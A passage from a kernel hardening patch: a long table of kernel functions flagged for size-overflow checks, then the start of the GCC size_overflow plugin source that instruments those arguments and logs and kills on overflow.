++_003512_hash pwr_rcvd_awake_bcns_cnt_read 3 12632 _003512_hash NULL
++_003513_hash pwr_rcvd_bcns_cnt_read 3 4774 _003513_hash NULL
++_003514_hash qc_capture 3 19298 _003514_hash NULL
++_003515_hash r128_compat_ioctl 2 39250 _003515_hash &_003510_hash
++_003516_hash radeon_compat_ioctl 2 59150 _003516_hash NULL
++_003517_hash radeon_kms_compat_ioctl 2 51371 _003517_hash NULL
++_003518_hash Realloc 2 34961 _003518_hash NULL
++_003519_hash redrat3_transmit_ir 3 64244 _003519_hash NULL
++_003520_hash reg_w_buf 3 27724 _003520_hash NULL
++_003521_hash reg_w_ixbuf 4 34736 _003521_hash NULL
++_003522_hash rtllib_alloc_txb 1-2 21687 _003522_hash NULL
++_003524_hash rtllib_authentication_req 3 26713 _003524_hash NULL
++_003525_hash rtllib_wx_set_gen_ie 3 59808 _003525_hash NULL
++_003526_hash rts51x_transfer_data_partial 6 5735 _003526_hash NULL
++_003527_hash rvmalloc 1 46873 _003527_hash NULL
++_003528_hash rx_decrypt_key_not_found_read 3 37820 _003528_hash NULL
++_003529_hash rx_defrag_called_read 3 1897 _003529_hash NULL
++_003530_hash rx_defrag_decrypt_failed_read 3 41411 _003530_hash NULL
++_003531_hash rx_defrag_init_called_read 3 35935 _003531_hash NULL
++_003532_hash rx_defrag_in_process_called_read 3 59338 _003532_hash NULL
++_003533_hash rx_defrag_need_decrypt_read 3 42253 _003533_hash NULL
++_003534_hash rx_defrag_need_defrag_read 3 28117 _003534_hash NULL
++_003535_hash rx_defrag_tkip_called_read 3 21031 _003535_hash NULL
++_003536_hash rx_filter_accum_arp_pend_requests_read 3 11003 _003536_hash NULL
++_003537_hash rx_filter_arp_filter_read 3 61914 _003537_hash NULL
++_003538_hash rx_filter_beacon_filter_read 3 49279 _003538_hash NULL
++_003539_hash rx_filter_data_filter_read 3 30098 _003539_hash NULL
++_003540_hash rx_filter_dup_filter_read 3 37238 _003540_hash NULL
++_003541_hash rx_filter_ibss_filter_read 3 50167 _003541_hash NULL
++_003542_hash rx_filter_max_arp_queue_dep_read 3 5851 _003542_hash NULL
++_003543_hash rx_filter_mc_filter_read 3 25712 _003543_hash NULL
++_003544_hash rx_filter_protection_filter_read 3 39282 _003544_hash NULL
++_003545_hash rx_rate_rx_frames_per_rates_read 3 7282 _003545_hash NULL
++_003546_hash rx_rx_beacon_early_term_read 3 21559 _003546_hash NULL
++_003547_hash rx_rx_checksum_result_read 3 50617 _003547_hash NULL
++_003548_hash rx_rx_cmplt_read 3 14753 _003548_hash NULL
++_003549_hash rx_rx_cmplt_task_read 3 35226 _003549_hash NULL
++_003550_hash rx_rx_defrag_end_read 3 505 _003550_hash NULL
++_003551_hash rx_rx_defrag_read 3 2010 _003551_hash NULL
++_003552_hash rx_rx_done_read 3 65217 _003552_hash NULL
++_003553_hash rx_rx_dropped_frame_read 3 23748 _003553_hash NULL
++_003554_hash rx_rx_frame_checksum_read 3 40140 _003554_hash NULL
++_003555_hash rx_rx_hdr_overflow_read 3 35002 _003555_hash NULL
++_003556_hash rx_rx_out_of_mpdu_nodes_read 3 64668 _003556_hash NULL
++_003557_hash rx_rx_phy_hdr_read 3 20950 _003557_hash NULL
++_003558_hash rx_rx_pre_complt_read 3 41653 _003558_hash NULL
++_003559_hash rx_rx_timeout_read 3 62389 _003559_hash NULL
++_003560_hash rx_rx_timeout_wa_read 3 50204 _003560_hash NULL
++_003561_hash rx_rx_tkip_replays_read 3 60193 _003561_hash NULL
++_003562_hash rx_rx_wa_ba_not_expected_read 3 61341 _003562_hash NULL
++_003563_hash rx_rx_wa_density_dropped_frame_read 3 26095 _003563_hash NULL
++_003564_hash rx_streaming_always_read 3 49401 _003564_hash NULL
++_003565_hash rx_streaming_interval_read 3 55291 _003565_hash NULL
++_003566_hash saa7164_buffer_alloc_user 2 9627 _003566_hash NULL
++_003567_hash send_control_msg 6 48498 _003567_hash NULL
++_003568_hash SendTxCommandPacket 3 42901 _003568_hash NULL
++_003569_hash setup_window 2-7-5-4 59178 _003569_hash NULL
++_003573_hash shmem_pwrite_fast 3 46842 _003573_hash NULL
++_003574_hash sleep_auth_read 3 19159 _003574_hash NULL
++_003575_hash sn9c102_read 3 29305 _003575_hash NULL
++_003576_hash snd_pcm_alloc_vmalloc_buffer 2 44595 _003576_hash NULL
++_003577_hash split_scan_timeout_read 3 20029 _003577_hash NULL
++_003578_hash stk_prepare_sio_buffers 2 57168 _003578_hash NULL
++_003579_hash store_debug_level 3 35652 _003579_hash NULL
++_003580_hash suspend_dtim_interval_read 3 64971 _003580_hash NULL
++_003581_hash sys_prctl 4 8766 _003581_hash NULL
++_003582_hash tm6000_read_write_usb 7 50774 _003582_hash &_002149_hash
++_003583_hash tracing_read_pipe 3 35312 _003583_hash NULL
++_003584_hash ts_read 3 44687 _003584_hash NULL
++_003585_hash ts_write 3 64336 _003585_hash NULL
++_003586_hash tt3650_ci_msg 4 57219 _003586_hash NULL
++_003587_hash ttm_object_device_init 2 10321 _003587_hash NULL
++_003588_hash ttm_object_file_init 2 27804 _003588_hash NULL
++_003589_hash tx_frag_bad_mblk_num_read 3 28064 _003589_hash NULL
++_003590_hash tx_frag_cache_hit_read 3 29639 _003590_hash NULL
++_003591_hash tx_frag_cache_miss_read 3 28394 _003591_hash NULL
++_003592_hash tx_frag_called_read 3 1748 _003592_hash NULL
++_003593_hash tx_frag_failed_read 3 43540 _003593_hash NULL
++_003594_hash tx_frag_init_called_read 3 48377 _003594_hash NULL
++_003595_hash tx_frag_in_process_called_read 3 1290 _003595_hash NULL
++_003596_hash tx_frag_key_not_found_read 3 22971 _003596_hash NULL
++_003597_hash tx_frag_mpdu_alloc_failed_read 3 41167 _003597_hash NULL
++_003598_hash tx_frag_need_fragmentation_read 3 50153 _003598_hash NULL
++_003599_hash tx_frag_tkip_called_read 3 31575 _003599_hash NULL
++_003600_hash tx_tx_burst_programmed_read 3 20320 _003600_hash NULL
++_003601_hash tx_tx_checksum_result_read 3 36490 _003601_hash &_001996_hash
++_003602_hash tx_tx_cmplt_read 3 35854 _003602_hash NULL
++_003603_hash tx_tx_data_prepared_read 3 43497 _003603_hash NULL
++_003604_hash tx_tx_data_programmed_read 3 36871 _003604_hash NULL
++_003605_hash tx_tx_done_data_read 3 6799 _003605_hash NULL
++_003606_hash tx_tx_done_int_template_read 3 55511 _003606_hash &_001887_hash
++_003607_hash tx_tx_done_template_read 3 35104 _003607_hash &_000106_hash
++_003608_hash tx_tx_exch_expiry_read 3 8749 _003608_hash NULL
++_003609_hash tx_tx_exch_pending_read 3 53018 _003609_hash NULL
++_003610_hash tx_tx_exch_read 3 52986 _003610_hash NULL
++_003611_hash tx_tx_frame_checksum_read 3 41553 _003611_hash NULL
++_003612_hash tx_tx_imm_resp_read 3 55964 _003612_hash NULL
++_003613_hash tx_tx_prepared_descs_read 3 9221 _003613_hash NULL
++_003614_hash tx_tx_retry_data_read 3 1926 _003614_hash NULL
++_003615_hash tx_tx_retry_template_read 3 57623 _003615_hash NULL
++_003616_hash tx_tx_start_data_read 3 53219 _003616_hash NULL
++_003617_hash tx_tx_start_fw_gen_read 3 58648 _003617_hash NULL
++_003618_hash tx_tx_start_int_templates_read 3 58324 _003618_hash NULL
++_003619_hash tx_tx_start_null_frame_read 3 6281 _003619_hash NULL
++_003620_hash tx_tx_starts_read 3 3617 _003620_hash NULL
++_003621_hash tx_tx_start_templates_read 3 17164 _003621_hash NULL
++_003622_hash tx_tx_template_prepared_read 3 30424 _003622_hash NULL
++_003623_hash tx_tx_template_programmed_read 3 30461 _003623_hash NULL
++_003624_hash udi_log_event 3 58105 _003624_hash NULL
++_003625_hash udl_prime_create 2 57159 _003625_hash NULL
++_003626_hash uf_create_device_nodes 2 24948 _003626_hash NULL
++_003627_hash uf_sme_queue_message 3 15697 _003627_hash NULL
++_003628_hash ufx_alloc_urb_list 3 10349 _003628_hash NULL
++_003629_hash unifi_net_data_malloc 3 24716 _003629_hash NULL
++_003630_hash unifi_read 3 14899 _003630_hash NULL
++_003631_hash unifi_write 3 65012 _003631_hash NULL
++_003632_hash usb_buffer_alloc 2 36276 _003632_hash NULL
++_003633_hash usbvision_rvmalloc 1 19655 _003633_hash NULL
++_003634_hash usbvision_v4l2_read 3 34386 _003634_hash NULL
++_003635_hash uvc_alloc_buffers 2-3 9656 _003635_hash NULL
++_003637_hash uvc_alloc_entity 3-4 20836 _003637_hash NULL
++_003639_hash uvc_debugfs_stats_read 3 56651 _003639_hash NULL
++_003640_hash uvc_simplify_fraction 3 31303 _003640_hash NULL
++_003641_hash v4l2_ctrl_new 7 24927 _003641_hash NULL
++_003642_hash v4l2_event_subscribe 3 53687 _003642_hash NULL
++_003643_hash v4l_stk_read 3 39672 _003643_hash NULL
++_003644_hash __vb2_perform_fileio 3 63033 _003644_hash NULL
++_003645_hash vfd_write 3 14717 _003645_hash NULL
++_003646_hash vfio_config_do_rw 3 46091 _003646_hash NULL
++_003647_hash vfio_msi_enable 2 20906 _003647_hash NULL
++_003648_hash viafb_dvp0_proc_write 3 23023 _003648_hash NULL
++_003649_hash viafb_dvp1_proc_write 3 48864 _003649_hash NULL
++_003650_hash viafb_vt1636_proc_write 3 16018 _003650_hash NULL
++_003651_hash __videobuf_alloc_vb 1 27062 _003651_hash NULL
++_003652_hash __videobuf_alloc_vb 1 5665 _003652_hash NULL
++_003653_hash __videobuf_copy_to_user 4 15423 _003653_hash NULL
++_003654_hash videobuf_dma_init_kernel 3 6963 _003654_hash NULL
++_003655_hash videobuf_pages_to_sg 2 3708 _003655_hash NULL
++_003656_hash videobuf_vmalloc_to_sg 2 4548 _003656_hash NULL
++_003657_hash video_usercopy 2 62151 _003657_hash NULL
++_003658_hash virtscsi_alloc_tgt 2 6643 _003658_hash NULL
++_003659_hash vmw_cursor_update_image 3-4 16332 _003659_hash NULL
++_003661_hash vmw_framebuffer_dmabuf_dirty 6 37661 _003661_hash &_001116_hash
++_003662_hash vmw_framebuffer_surface_dirty 6 48132 _003662_hash NULL
++_003663_hash vmw_gmr2_bind 3 21305 _003663_hash NULL
++_003664_hash vmw_unlocked_ioctl 2 19212 _003664_hash NULL
++_003665_hash w9966_v4l_read 3 31148 _003665_hash NULL
++_003666_hash wl1273_fm_fops_write 3 60621 _003666_hash NULL
++_003667_hash zoran_write 3 22404 _003667_hash NULL
++_003668_hash alloc_vm_area 1 15989 _003668_hash NULL
++_003669_hash cx18_copy_mdl_to_user 4 45549 _003669_hash NULL
++_003670_hash dlfb_ops_write 3 64150 _003670_hash NULL
++_003671_hash dvb_demux_read 3 13981 _003671_hash NULL
++_003672_hash dvb_dmxdev_read_sec 4 7892 _003672_hash NULL
++_003673_hash dvb_dvr_read 3 17073 _003673_hash NULL
++_003674_hash em28xx_init_isoc 4 62883 _003674_hash &_000729_hash
++_003675_hash fb_alloc_cmap 2 6554 _003675_hash NULL
++_003676_hash gspca_dev_probe 4 2570 _003676_hash NULL
++_003677_hash ieee80211_auth_challenge 3 18810 _003677_hash NULL
++_003678_hash ieee80211_rtl_auth_challenge 3 61897 _003678_hash NULL
++_003679_hash init_pci_cap_msi_perm 2 59033 _003679_hash NULL
++_003680_hash __ioremap_caller 1-2 21800 _003680_hash NULL
++_003682_hash ivtv_read 3 57796 _003682_hash NULL
++_003683_hash ivtv_v4l2_write 3 39226 _003683_hash NULL
++_003684_hash mce_async_out 3 58056 _003684_hash NULL
++_003685_hash mce_flush_rx_buffer 2 14976 _003685_hash NULL
++_003686_hash ms_read_multiple_pages 4-5 8052 _003686_hash NULL
++_003688_hash ms_write_multiple_pages 5-6 10362 _003688_hash NULL
++_003690_hash nfc_hci_send_cmd 5 55714 _003690_hash NULL
++_003691_hash persistent_ram_new 1-2 40501 _003691_hash NULL
++_003693_hash picolcd_fb_write 3 2318 _003693_hash NULL
++_003694_hash process_bulk_data_command 4 38906 _003694_hash NULL
++_003695_hash pvr2_v4l2_read 3 18006 _003695_hash NULL
++_003696_hash qcam_read 3 13977 _003696_hash NULL
++_003697_hash register_unifi_sdio 2 55239 _003697_hash NULL
++_003698_hash resize_async_buffer 4 64031 _003698_hash &_002431_hash
++_003699_hash rtllib_auth_challenge 3 12493 _003699_hash NULL
++_003702_hash stk_allocate_buffers 2 16291 _003702_hash NULL
++_003703_hash subdev_ioctl 2 28417 _003703_hash NULL
++_003704_hash _sys_packet_req 4 46793 _003704_hash NULL
++_003705_hash tm6000_i2c_recv_regs16 5 2949 _003705_hash NULL
++_003706_hash tm6000_i2c_recv_regs 5 46215 _003706_hash NULL
++_003707_hash tm6000_i2c_send_regs 5 20250 _003707_hash NULL
++_003708_hash tt3650_ci_msg_locked 4 8013 _003708_hash NULL
++_003709_hash ufx_ops_write 3 54848 _003709_hash NULL
++_003710_hash update_macheader 7 1775 _003710_hash NULL
++_003711_hash usbdux_attach_common 4 51764 _003750_hash NULL nohasharray
++_003712_hash usbduxfast_attach_common 4 52538 _003712_hash NULL
++_003713_hash usbduxsigma_attach_common 4 40847 _003713_hash NULL
++_003714_hash uvc_v4l2_ioctl 2 8411 _003714_hash NULL
++_003715_hash v4l2_ctrl_new_int_menu 4 41151 _003715_hash NULL
++_003716_hash v4l2_ctrl_new_std 5 45748 _003716_hash &_000497_hash
++_003717_hash v4l2_ctrl_new_std_menu 4 6221 _003717_hash NULL
++_003718_hash vb2_read 3 42703 _003718_hash NULL
++_003719_hash vb2_write 3 31948 _003719_hash NULL
++_003720_hash vfio_pci_set_msi_trigger 3-4 26507 _003720_hash NULL
++_003722_hash viafb_iga1_odev_proc_write 3 36241 _003722_hash NULL
++_003723_hash viafb_iga2_odev_proc_write 3 2363 _003723_hash NULL
++_003724_hash __videobuf_alloc_cached 1 12740 _003724_hash NULL
++_003725_hash __videobuf_alloc_uncached 1 55711 _003725_hash NULL
++_003726_hash __videobuf_copy_stream 4 44769 _003726_hash NULL
++_003727_hash videobuf_read_one 3 31637 _003727_hash NULL
++_003728_hash video_ioctl2 2 21380 _003728_hash NULL
++_003729_hash vmap 2 15025 _003729_hash NULL
++_003730_hash vmw_cursor_update_dmabuf 3-4 32045 _003730_hash NULL
++_003732_hash vmw_gmr_bind 3 44130 _003732_hash NULL
++_003733_hash xd_read_multiple_pages 4-5 11422 _003733_hash NULL
++_003735_hash xd_write_multiple_pages 5-6 53633 _003735_hash NULL
++_003737_hash xenfb_write 3 43412 _003737_hash NULL
++_003738_hash arch_gnttab_map_shared 3 41306 _003738_hash NULL
++_003739_hash arch_gnttab_map_status 3 49812 _003739_hash NULL
++_003740_hash bttv_read 3 11432 _003740_hash NULL
++_003741_hash cx18_read 3 23699 _003741_hash NULL
++_003742_hash cx2341x_ctrl_new_menu 3 49700 _003742_hash NULL
++_003743_hash cx2341x_ctrl_new_std 4 57061 _003743_hash NULL
++_003744_hash cx25821_video_ioctl 2 30188 _003744_hash NULL
++_003745_hash dt3155_read 3 59226 _003745_hash NULL
++_003746_hash ioremap_cache 1-2 47189 _003746_hash NULL
++_003748_hash ioremap_nocache 1-2 2439 _003748_hash NULL
++_003750_hash ioremap_prot 1-2 51764 _003750_hash &_003711_hash
++_003752_hash ioremap_wc 1-2 62695 _003752_hash NULL
++_003754_hash ivtv_read_pos 3 34400 _003754_hash &_000312_hash
++_003755_hash mcam_v4l_read 3 36513 _003755_hash NULL
++_003756_hash ms_rw_multi_sector 3-4 7459 _003756_hash NULL
++_003758_hash pvr2_v4l2_ioctl 2 24398 _003758_hash &_000877_hash
++_003759_hash ramoops_init_prz 5 12134 _003759_hash NULL
++_003761_hash ttm_bo_kmap_ttm 3 5922 _003761_hash NULL
++_003762_hash uf_ap_process_data_pdu 7 25860 _003762_hash NULL
++_003763_hash vb2_fop_read 3 24080 _003763_hash NULL
++_003764_hash vb2_fop_write 3 30420 _003764_hash NULL
++_003765_hash videobuf_read_stream 3 14956 _003765_hash NULL
++_003766_hash video_read 3 28148 _003766_hash NULL
++_003767_hash vmw_du_crtc_cursor_set 4-5 28479 _003767_hash NULL
++_003769_hash xd_rw 3-4 49020 _003769_hash NULL
++_003771_hash zoran_ioctl 2 30465 _003771_hash NULL
++_003772_hash zr364xx_read 3 2354 _003772_hash NULL
++_003773_hash acpi_os_ioremap 1-2 49523 _003773_hash NULL
++_003775_hash au0828_v4l2_read 3 40220 _003775_hash NULL
++_003776_hash ca91cx42_alloc_resource 2 10502 _003776_hash NULL
++_003778_hash cx18_read_pos 3 4683 _003778_hash NULL
++_003779_hash cx18_v4l2_read 3 21196 _003779_hash NULL
++_003780_hash cx231xx_v4l2_read 3 55014 _003780_hash NULL
++_003781_hash devm_ioremap_nocache 2-3 2036 _003781_hash NULL
++_003783_hash do_test 1 15766 _003783_hash NULL
++_003784_hash __einj_error_trigger 1 17707 _003784_hash &_001764_hash
++_003785_hash em28xx_v4l2_read 3 16701 _003785_hash NULL
++_003786_hash init_chip_wc_pat 2 62768 _003786_hash NULL
++_003787_hash intel_render_ring_init_dri 2-3 45446 _003787_hash NULL
++_003789_hash io_mapping_create_wc 1-2 1354 _003789_hash NULL
++_003791_hash iommu_map_mmio_space 1 30919 _003791_hash NULL
++_003792_hash ioremap 1-2 23172 _003792_hash NULL
++_003794_hash ivtv_v4l2_read 3 1964 _003794_hash NULL
++_003795_hash mga_ioremap 1-2 8571 _003795_hash NULL
++_003797_hash mpeg_read 3 6708 _003797_hash NULL
++_003798_hash msix_map_region 3 3411 _003798_hash NULL
++_003799_hash ms_rw 3-4 17220 _003799_hash NULL
++_003801_hash pci_iomap 3 47575 _003801_hash NULL
++_003802_hash pd_video_read 3 24510 _003802_hash NULL
++_003803_hash sfi_map_memory 1-2 5183 _003803_hash NULL
++_003805_hash solo_enc_read 3 33553 _003805_hash NULL
++_003806_hash solo_v4l2_read 3 59247 _003806_hash NULL
++_003807_hash timblogiw_read 3 48305 _003807_hash NULL
++_003808_hash tm6000_read 3 4151 _003808_hash NULL
++_003809_hash tsi148_alloc_resource 2 24563 _003809_hash NULL
++_003810_hash ttm_bo_ioremap 2-3 31082 _003810_hash NULL
++_003812_hash ttm_bo_kmap 3-2 60118 _003812_hash NULL
++_003813_hash vb2_vmalloc_get_userptr 3 31374 _003813_hash NULL
++_003814_hash vbi_read 3 63673 _003814_hash NULL
++_003815_hash viacam_read 3 54526 _003815_hash NULL
++_003816_hash xlate_dev_mem_ptr 1 15291 _003816_hash &_001231_hash
++_003817_hash a4t_cs_init 3 27734 _003817_hash NULL
++_003818_hash aac_nark_ioremap 2 50163 _003818_hash &_000323_hash
++_003819_hash aac_rkt_ioremap 2 3333 _003819_hash NULL
++_003820_hash aac_rx_ioremap 2 52410 _003820_hash NULL
++_003821_hash aac_sa_ioremap 2 13596 _003821_hash &_000299_hash
++_003822_hash aac_src_ioremap 2 41688 _003822_hash NULL
++_003823_hash aac_srcv_ioremap 2 6659 _003823_hash NULL
++_003824_hash acpi_map 1-2 58725 _003824_hash NULL
++_003826_hash acpi_os_read_memory 1-3 54186 _003826_hash NULL
++_003828_hash acpi_os_write_memory 1-3 56416 _003828_hash &_003429_hash
++_003830_hash atyfb_setup_generic 3 49151 _003830_hash NULL
++_003831_hash ca91cx42_master_set 4 23146 _003831_hash NULL
++_003832_hash check_mirror 1-2 57342 _003832_hash &_001753_hash
++_003834_hash cycx_setup 4 47562 _003834_hash NULL
++_003835_hash devm_ioremap 2-3 29235 _003835_hash NULL
++_003837_hash divasa_remap_pci_bar 3-4 23485 _003837_hash &_000979_hash
++_003839_hash doc_probe 1 23285 _003839_hash NULL
++_003840_hash DoC_Probe 1 57534 _003840_hash NULL
++_003841_hash efi_ioremap 1-2 3492 _003841_hash &_001137_hash
++_003843_hash ems_pcmcia_add_card 2 62627 _003843_hash NULL
++_003844_hash isp1760_register 1-2 628 _003844_hash NULL
++_003846_hash mid_get_vbt_data_r0 2 10876 _003846_hash NULL
++_003847_hash mid_get_vbt_data_r10 2 6308 _003847_hash NULL
++_003848_hash mid_get_vbt_data_r1 2 26170 _003848_hash NULL
++_003849_hash mthca_map_reg 2-3 5664 _003849_hash NULL
++_003851_hash mthca_setup_cmd_doorbells 2 53954 _003851_hash NULL
++_003852_hash netxen_nic_map_indirect_address_128M 2 42257 _003852_hash NULL
++_003853_hash pcim_iomap 3 58334 _003853_hash NULL
++_003854_hash persistent_ram_iomap 1-2 47156 _003854_hash NULL
++_003856_hash read_vbt_r0 1 503 _003856_hash NULL
++_003857_hash read_vbt_r10 1 60679 _003857_hash NULL
++_003858_hash register_device 2-3 60015 _003858_hash NULL
++_003860_hash remap_pci_mem 1-2 15966 _003860_hash NULL
++_003862_hash rtl_port_map 1-2 2385 _003862_hash NULL
++_003864_hash sfi_map_table 1 5462 _003864_hash NULL
++_003865_hash sriov_enable_migration 2 14889 _003865_hash NULL
++_003866_hash ssb_bus_scan 2 36578 _003866_hash NULL
++_003867_hash ssb_ioremap 2 5228 _003867_hash NULL
++_003868_hash tpci200_slot_map_space 2 3848 _003868_hash NULL
++_003869_hash tpm_tis_init 2-3 15304 _003869_hash NULL
++_003871_hash tsi148_master_set 4 14685 _003871_hash NULL
++_003872_hash acpi_os_map_memory 1-2 11161 _003872_hash NULL
++_003874_hash com90xx_found 3 13974 _003874_hash NULL
++_003875_hash netxen_nic_hw_read_wx_128M 2 26858 _003875_hash NULL
++_003876_hash netxen_nic_hw_write_wx_128M 2 33488 _003876_hash NULL
++_003877_hash sfi_check_table 1 6772 _003877_hash NULL
++_003878_hash sfi_sysfs_install_table 1 51688 _003878_hash NULL
++_003879_hash sriov_enable 2 59689 _003879_hash NULL
++_003880_hash ssb_bus_register 3 65183 _003880_hash NULL
++_003881_hash acpi_ex_system_memory_space_handler 2 31192 _003881_hash NULL
++_003882_hash acpi_tb_check_xsdt 1 21862 _003882_hash NULL
++_003883_hash acpi_tb_install_table 1 12988 _003883_hash NULL
++_003884_hash acpi_tb_parse_root_table 1 53455 _003884_hash NULL
++_003885_hash check_vendor_extension 1 3254 _003885_hash NULL
++_003886_hash pci_enable_sriov 2 35745 _003886_hash NULL
++_003887_hash ssb_bus_pcmciabus_register 3 56020 _003887_hash NULL
++_003888_hash ssb_bus_ssbbus_register 2 2217 _003888_hash NULL
++_003889_hash lpfc_sli_probe_sriov_nr_virtfn 2 26004 _003889_hash NULL
++_003890_hash alloc_vm_area 1 36149 _003890_hash NULL
++_003891_hash cma_create_area 2 38642 _003891_hash NULL
++_003893_hash fbcon_prepare_logo 5 6246 _003893_hash NULL
++_003894_hash io_mapping_map_wc 2 19284 _003894_hash NULL
++_003895_hash nfs_dns_resolve_name 3 25036 _003895_hash NULL
++_003896_hash nfs_parse_server_name 2 1899 _003896_hash NULL
+--- tools/gcc/size_overflow_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/size_overflow_plugin.c	2012-10-15 17:30:59.835924531 +0000
+@@ -0,0 +1,1879 @@
++/*
++ * Copyright 2011, 2012 by Emese Revfy <re.emese@gmail.com>
++ * Licensed under the GPL v2, or (at your option) v3
++ *
++ * Homepage:
++ * http://www.grsecurity.net/~ephox/overflow_plugin/
++ *
++ * This plugin recomputes expressions of function arguments marked by a size_overflow attribute
++ * with double integer precision (DImode/TImode for 32/64 bit integer types).
++ * The recomputed argument is checked against TYPE_MAX and an event is logged on overflow and the triggering process is killed.
++ *
++ * Usage:
++ * $ gcc -I`gcc -print-file-name=plugin`/include/c-family -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -ggdb -Wall -W -Wno-missing-field-initializers -o size_overflow_plugin.so size_overflow_plugin.c
++ * $ gcc -fplugin=size_overflow_plugin.so test.c  -O2
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "intl.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "toplev.h"
++#include "function.h"
++#include "tree-flow.h"
++#include "plugin.h"
++#include "gimple.h"
++#include "c-common.h"
++#include "diagnostic.h"
++#include "cfgloop.h"
++
++#if BUILDING_GCC_VERSION >= 4007
++#include "c-tree.h"
++#else
++#define C_DECL_IMPLICIT(EXP) DECL_LANG_FLAG_2 (EXP)
++#endif
++
++struct size_overflow_hash {
++	const struct size_overflow_hash * const next;
++	const char * const name;
++	const unsigned int param;
++};
++
++#include "size_overflow_hash.h"
++
++enum marked {
++	MARKED_NO, MARKED_YES, MARKED_NOT_INTENTIONAL
++};
++
++#define __unused __attribute__((__unused__))
++#define NAME(node) IDENTIFIER_POINTER(DECL_NAME(node))
++#define NAME_LEN(node) IDENTIFIER_LENGTH(DECL_NAME(node))
++#define BEFORE_STMT true
++#define AFTER_STMT false
++#define CREATE_NEW_VAR NULL_TREE
++#define CODES_LIMIT 32
++#define MAX_PARAM 32
++#define MY_STMT GF_PLF_1
++#define NO_CAST_CHECK GF_PLF_2
++
++#if BUILDING_GCC_VERSION == 4005
++#define DECL_CHAIN(NODE) (TREE_CHAIN(DECL_MINIMAL_CHECK(NODE)))
++#endif
++
++int plugin_is_GPL_compatible;
++void debug_gimple_stmt(gimple gs);
++
++static tree expand(struct pointer_set_t *visited, tree lhs);
++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs);
++static tree report_size_overflow_decl;
++static const_tree const_char_ptr_type_node;
++static unsigned int handle_function(void);
++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before);
++static tree get_size_overflow_type(gimple stmt, const_tree node);
++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3);
++
++static struct plugin_info size_overflow_plugin_info = {
++	.version	= "20120930beta",
++	.help		= "no-size-overflow\tturn off size overflow checking\n",
++};
++
++static tree handle_size_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs)
++{
++	unsigned int arg_count;
++	enum tree_code code = TREE_CODE(*node);
++
++	switch (code) {
++	case FUNCTION_DECL:
++		arg_count = type_num_arguments(TREE_TYPE(*node));
++		break;
++	case FUNCTION_TYPE:
++	case METHOD_TYPE:
++		arg_count = type_num_arguments(*node);
++		break;
++	default:
++		*no_add_attrs = true;
++		error("%s: %qE attribute only applies to functions", __func__, name);
++		return NULL_TREE;
++	}
++
++	for (; args; args = TREE_CHAIN(args)) {
++		tree position = TREE_VALUE(args);
++		if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) < 1 || TREE_INT_CST_LOW(position) > arg_count ) {
++			error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position));
++			*no_add_attrs = true;
++		}
++	}
++	return NULL_TREE;
++}
++
++static const char* get_asm_name(tree node)
++{
++	return IDENTIFIER_POINTER(DECL_ASSEMBLER_NAME(node));
++}
++
++static tree handle_intentional_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs)
++{
++	unsigned int arg_count, arg_num;
++	enum tree_code code = TREE_CODE(*node);
++
++	switch (code) {
++	case FUNCTION_DECL:
++		arg_count = type_num_arguments(TREE_TYPE(*node));
++		break;
++	case FUNCTION_TYPE:
++	case METHOD_TYPE:
++		arg_count = type_num_arguments(*node);
++		break;
++	case FIELD_DECL:
++		arg_num = TREE_INT_CST_LOW(TREE_VALUE(args));
++		if (arg_num != 0) {
++			*no_add_attrs = true;
++			error("%s: %qE attribute parameter can only be 0 in structure fields", __func__, name);
++		}
++		return NULL_TREE;
++	default:
++		*no_add_attrs = true;
++		error("%qE attribute only applies to functions", name);
++		return NULL_TREE;
++	}
++
++	for (; args; args = TREE_CHAIN(args)) {
++		tree position = TREE_VALUE(args);
++		if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) > arg_count ) {
++			error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position));
++			*no_add_attrs = true;
++		}
++	}
++	return NULL_TREE;
++}
++
++static struct attribute_spec size_overflow_attr = {
++	.name				= "size_overflow",
++	.min_length			= 1,
++	.max_length			= -1,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_size_overflow_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static struct attribute_spec intentional_overflow_attr = {
++	.name				= "intentional_overflow",
++	.min_length			= 1,
++	.max_length			= -1,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_intentional_overflow_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static void register_attributes(void __unused *event_data, void __unused *data)
++{
++	register_attribute(&size_overflow_attr);
++	register_attribute(&intentional_overflow_attr);
++}
++
++// http://www.team5150.com/~andrew/noncryptohashzoo2~/CrapWow.html
++static unsigned int CrapWow(const char *key, unsigned int len, unsigned int seed)
++{
++#define cwfold( a, b, lo, hi ) { p = (unsigned int)(a) * (unsigned long long)(b); lo ^= (unsigned int)p; hi ^= (unsigned int)(p >> 32); }
++#define cwmixa( in ) { cwfold( in, m, k, h ); }
++#define cwmixb( in ) { cwfold( in, n, h, k ); }
++
++	unsigned int m = 0x57559429;
++	unsigned int n = 0x5052acdb;
++	const unsigned int *key4 = (const unsigned int *)key;
++	unsigned int h = len;
++	unsigned int k = len + seed + n;
++	unsigned long long p;
++
++	while (len >= 8) {
++		cwmixb(key4[0]) cwmixa(key4[1]) key4 += 2;
++		len -= 8;
++	}
++	if (len >= 4) {
++		cwmixb(key4[0]) key4 += 1;
++		len -= 4;
++	}
++	if (len)
++		cwmixa(key4[0] & ((1 << (len * 8)) - 1 ));
++	cwmixb(h ^ (k + n));
++	return k ^ h;
++
